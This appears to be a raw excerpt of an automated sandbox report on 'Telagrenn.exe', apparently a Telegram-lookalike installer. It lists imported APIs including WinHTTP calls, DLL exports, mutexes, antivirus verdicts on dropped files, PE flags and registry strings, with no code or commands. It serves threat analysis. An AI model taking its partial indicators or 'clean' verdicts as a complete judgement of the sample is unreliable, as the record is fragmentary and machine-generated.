"FrameRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetWindowRgn"; File: "Telagrenn.exe") Found reference to API (Indicator: "BeginPaint"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetIconInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "AppendMenuW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharLowerW"; File: "Telagrenn.exe") Found reference to API (Indicator: "AdjustWindowRectEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "DestroyCursor"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenuState"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawMenuBar"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSubMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowDC"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsDialogMessageA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "Telagrenn.exe") Found reference to API (Indicator: "UnhookWindowsHookEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumWindows"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShowWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharUpperW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetWindowPos"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharLowerBuffW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetForegroundWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "WindowFromPoint"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawIcon"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetScrollPos"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateWindowExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShowScrollBar"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "InsertMenuW"; File: "Telagrenn.exe") Found reference to API (Indicator: "MessageBoxW"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadCursorW"; File: "Telagrenn.exe") Found reference to API (Indicator: "CopyImage"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReleaseCapture"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetKeyboardState"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetCursorPos"; File: "Telagrenn.exe") Found reference to API (Indicator: "MessageBeep"; File: "Telagrenn.exe") Found reference to API (Indicator: "FillRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShowCaret"; File: "Telagrenn.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "SystemParametersInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumThreadWindows"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreateIconIndirect"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharUpperBuffW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetKeyboardLayout"; File: "Telagrenn.exe") Found reference to API (Indicator: "ScrollWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "Telagrenn.exe") Found reference to API (Indicator: "ShowOwnedPopups"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenuItemCount"; File: "Telagrenn.exe") Found reference to API (Indicator: "InvalidateRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "WaitMessage"; File: "Telagrenn.exe") Found reference to API (Indicator: "CharNextW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetKeyState"; File: "Telagrenn.exe") Found reference to API (Indicator: "ActivateKeyboardLayout"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegisterClassW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetActiveWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetMenuItemInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "MapWindowPoints"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSystemMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "OffsetRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawFrameControl"; File: "Telagrenn.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetScrollRange"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetTimer"; File: "Telagrenn.exe") Found reference to API (Indicator: "CallNextHookEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "DefWindowProcW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCursorPos"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsIconic"; File: "Telagrenn.exe") Found reference to API (Indicator: "DestroyWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenuItemID"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetCapture"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetParent"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetWindowPlacement"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDCEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "KillTimer"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawFocusRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsZoomed"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnableScrollBar"; File: "Telagrenn.exe") Found reference to API (Indicator: "ClientToScreen"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenuItemInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "RedrawWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "RemoveMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetSysColorBrush"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadImageW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawEdge"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowTextW"; File: "Telagrenn.exe") Found reference to API (Indicator: "ReleaseDC"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetScrollInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "UnregisterClassW"; File: "Telagrenn.exe") Found reference to API (Indicator: "DestroyMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenuStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCursor"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetKeyboardLayoutList"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnableMenuItem"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetParent"; File: "Telagrenn.exe") Found reference to API (Indicator: "TranslateMDISysAccel"; File: "Telagrenn.exe") Found reference to API (Indicator: "OemToCharBuffA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetClientRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetWindowTextW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCapture"; File: "Telagrenn.exe") Found reference to API (Indicator: "DestroyIcon"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnableWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadIconW"; File: "Telagrenn.exe") Found reference to API (Indicator: "EnumChildWindows"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "HideCaret"; File: "Telagrenn.exe") Found reference to API (Indicator: "MoveWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowPlacement"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTopWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetWindowRect"; File: "Telagrenn.exe") Found reference to API (Indicator: "UpdateWindow"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFocus"; File: "Telagrenn.exe") Found reference to API (Indicator: "DeleteMenu"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFocus"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetScrollRange"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetScrollInfo"; File: "Telagrenn.exe") Found reference to API (Indicator: "DrawIconEx"; File: "Telagrenn.exe") Found reference to API (Indicator: "LoadStringW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpReceiveResponse"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpSetStatusCallback"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpReadData"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpOpen"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpSendRequest"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpWriteData"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpSetCredentials"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpGetProxyForUrl"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpSetOption"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpQueryAuthSchemes"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpAddRequestHeaders"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpQueryDataAvailable"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpSetTimeouts"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpCloseHandle"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpConnect"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpQueryOption"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpQueryHeaders"; File: "Telagrenn.exe") Found reference to API (Indicator: "WinHttpOpenRequest"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTickCount64"; File: "00000000-00006424.00000001.112162.00091000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetTimeFormatW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SHGetSpecialFolderPathW"; File: "Telagrenn.exe") Found reference to API (Indicator: "RegOpenKeyA"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetNamedSecurityInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "GetNamedSecurityInfoW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetEntriesInAclW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetProcessShutdownParameters"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "Telagrenn.exe") Found reference to API (Indicator: "CommandLineToArgvW"; File: "Telagrenn.exe") Found reference to API (Indicator: "StrToInt64ExW"; File: "Telagrenn.exe") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00001040.00000000.110716.E941E000.00000004.mdmp")3e:T723,"CoreLogic.dll" contains export function called "ExecuteSecureInstall" at ordinal 1 "genteert.dll" contains export function called "gentee_call" at ordinal 5 "genteert.dll" contains export function called "gentee_deinit" at ordinal 1 "genteert.dll" contains export function called "gentee_getid" at ordinal 6 "genteert.dll" contains export function called "gentee_init" at ordinal 2 "genteert.dll" contains export function called "gentee_load" at ordinal 4 "genteert.dll" contains export function called "gentee_ptr" at ordinal 7 "genteert.dll" contains export function called "gentee_set" at ordinal 3 "guig.dll" contains export function called "dlg_box" at ordinal 6 "guig.dll" contains export function called "dlg_boxindirect" at ordinal 16 "guig.dll" contains export function called "freepicture" at ordinal 19 "guig.dll" contains export function called "guig_deinit" at ordinal 15 "guig.dll" contains export function called "guig_init" at ordinal 14 "guig.dll" contains export function called "loadpicture" at ordinal 18 "guig.dll" contains export function called "loadrtffile" at ordinal 17 "guig.dll" contains export function called "paintpicture" at ordinal 20 "guig.dll" contains export function called "sh_admin" at ordinal 13 "guig.dll" contains export function called "sh_browsedir" at ordinal 7 "guig.dll" contains export function called "sh_regactivex" at ordinal 9 "guig.dll" contains export function called "sh_regtlb" at ordinal 11 "guig.dll" contains export function called "sh_shortcut" at ordinal 8 "guig.dll" contains export function called "sh_unregactivex" at ordinal 10 "guig.dll" contains export function called "sh_unregtlb" at ordinal 12 "guig.dll" contains export function called "win_exdata" at ordinal 4 "guig.dll" contains export function called "win_getproc" at ordinal 33f:T9ba,Process Telagrenn.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2804:168:WilStaging_02" Process Telagrenn.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2804:168:WilStaging_02" Process Telagrenn.exe created mutex with name "\Sessions\1\BaseNamedObjects\ci1458132047" Process Telagrenn.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2804:64:WilError_01" Process Telagrenn.exe created mutex with name "Local\SM0:2804:168:WilStaging_02" Process Telagrenn.exe created mutex with name "SM0:2804:168:WilStaging_02" Process Telagrenn.exe created mutex with name "SM0:2804:64:WilError_01" Process Telagrenn.exe created mutex with name "ci1458132047" Process cscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6908:168:WilStaging_02" Process cscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6908:168:WilStaging_02" Process cscript.exe created mutex with name "SM0:6908:168:WilStaging_02" Process cscript.exe created mutex with name "Local\SM0:6908:168:WilStaging_02" Process tsetup-x64.7.0.2.tmp created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7736:168:WilStaging_02" Process tsetup-x64.7.0.2.tmp created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7736:64:WilError_01" Process tsetup-x64.7.0.2.tmp created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process tsetup-x64.7.0.2.tmp created mutex with name "\Sessions\1\BaseNamedObjects\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process tsetup-x64.7.0.2.tmp created mutex with name "RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511" Process tsetup-x64.7.0.2.tmp created mutex with name "Local\SM0:7736:168:WilStaging_02" Process tsetup-x64.7.0.2.tmp created mutex with name "SM0:7736:64:WilError_01" Process tsetup-x64.7.0.2.tmp created mutex with name "RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000" Process Telegram.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2316:304:WilStaging_02" Process Telegram.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2316:304:WilStaging_02" Process Telegram.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2316:120:WilError_01" Process Telegram.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2316:120:WilError_01" Process Telegram.exe created mutex with name "\Sessions\1\BaseNamedObjects\__DDrawExclMode__"40:Tb75,Antivirus vendors marked dropped file "System.exe" as clean (type is "PE32+ executable for MS Windows 6.01 (console) x86-64 23 sections"), Antivirus vendors marked dropped file "genteert.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"), Antivirus vendors marked dropped file "guig.dll" as clean (type is "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"), Antivirus vendors marked dropped file "Telegram.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww KnownFolderID F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Sat Jul 18 02:52:54 2026 length=214224936 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe""), Antivirus vendors marked dropped file "Telegram.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Sat Jul 18 02:52:54 2026 length=214224936 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe""), Antivirus vendors marked dropped file "Uninstall Telegram.lnk" as clean (type is "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Unicoded MachineID dtk7tx78kcwksww Archive ctime=Tue Sep 29 15:50:00 2026 atime=Tue Sep 29 15:50:00 2026 mtime=Tue Sep 29 15:26:00 2026 length=3481128 window=normal IDListSize 0x01e4 Root folder "59031A47-3F72-44A7-89C5-5595FE6B30EE" LocalBasePath "C:\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\unins000.exe""), Antivirus vendors marked dropped file "is-5K88K.tmp" as clean (type is "Composite Document File V2 Document Can't read SAT"), Antivirus vendors marked dropped file "is-E85C2.tmp" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 11 sections"), Antivirus vendors marked dropped file "is-PVEBQ.tmp" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "D5rra.tmp" as clean (type is "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"), Antivirus vendors marked dropped file "is-2BAEF.tmp" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"), Antivirus vendors marked dropped file "_setup64.tmp" as clean (type is "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"), Antivirus vendors marked dropped file "tsetup-x64.7.0.2.tmp" as clean (type is "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections")41:T45d,"CoreLogic.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "is-PVEBQ.tmp" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "D5rra.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-7JH8E.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-2BAEF.tmp" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "is-3R46B.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "is-4O7G3.tmp" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE42:T40a2,"e\Software\C" in Source: 00000000-00001040.00000000.110716.73424000.00000004.mdmp "e\Software\C" in Source: 00000000-00002316.00000000.110315.25280000.00000004.mdmp "y\Machine\Software\CP" in Source: 00000000-00002316.00000000.110315.273F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00002316.00000000.110315.286B0000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\{6c9140eb-862d-42fc-98af-5f08ea8f04e7}\Properties" in Source: 00000000-00002316.00000000.110315.28A61000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002316.00000000.110315.E93F3000.00000004.mdmp "e\Software\C" in Source: 00000000-00002316.00000001.112236.25280000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000001.112236.28DAD000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}" in Source: 00000000-00002316.00000001.112236.28DAD000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00002316.00000001.112236.28DAD000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000001.112236.2E346000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00002316.00000001.112236.2EC97000.00000004.mdmp "Software\Microsoft\Direct3D\Direct3D12" in Source: 00000000-00002316.00000001.112236.8581F000.00000002.mdmp "Software\Microsoft\VisualStudio\MSPDB" in Source: 00000000-00002316.00000001.112236.8581F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00002316.00000001.112236.E9445000.00000004.mdmp "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00002316.00000001.112236.E9445000.00000004.mdmp "e\Software\C" in Source: 00000000-00002316.00000002.114156.25280000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000002.114156.28DAD000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00002316.00000002.114156.28DAD000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00002316.00000002.114156.2EC97000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002316.00000002.114156.E93F2000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" in Source: 00000000-00002316.00000002.114156.E93F2000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00002316.00000002.114156.E9445000.00000004.mdmp "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts" in Source: 00000000-00002316.00000002.114156.E9445000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wx" in Source: 00000000-00002688.00000000.111393.00AEC000.00000004.mdmp "Software\Microsoft\RestartManager\Session0000" in Source: 00000000-00002688.00000000.111393.02FD0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\Cloudflared Wrapper Installer_is1" in Source: 00000000-00002688.00000000.111393.05100000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00002688.00000000.111393.73411000.00000020.mdmp "Software\Microsoft\Input" in Source: 00000000-00002688.00000000.111393.73411000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE" in Source: 00000000-00002688.00000000.111393.73411000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\CFL\ExperienceManagerData" in Source: 00000000-00002688.00000000.111393.73411000.00000020.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wx" in Source: 00000000-00002688.00000001.112157.00AEC000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00002688.00000001.112157.02FF5000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00002688.00000001.112157.02FF5000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000000.106631.02FB0000.00000004.mdmp "" Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp, ""'Software\Microsoft\.NETFramework\Policy" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp "")Software\Microsoft\.NETFramework\policy\v" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp, ""*SOFTWARE\Microsoft\NET Framework Setup\NDP" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp " / 0"@Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp, " 3")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp " 7")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp, " \"@Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp "Software\#progname#" in Source: 00000000-00002804.00000000.106631.05110000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000001.108553.02FB0000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000002.110470.02FB0000.00000004.mdmp "" Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp, ""'Software\Microsoft\.NETFramework\Policy" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp "")Software\Microsoft\.NETFramework\policy\v" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp, ""*SOFTWARE\Microsoft\NET Framework Setup\NDP" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp " / 0"@Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp, " 3")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp " 7")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp, " \"@Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp "Software\#progname#" in Source: 00000000-00002804.00000002.110470.04DE0000.00000004.mdmp "" Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp, ""'Software\Microsoft\.NETFramework\Policy" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp "")Software\Microsoft\.NETFramework\policy\v" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp, ""*SOFTWARE\Microsoft\NET Framework Setup\NDP" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp " / 0"@Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp, " 3")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp " 7")Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp, " 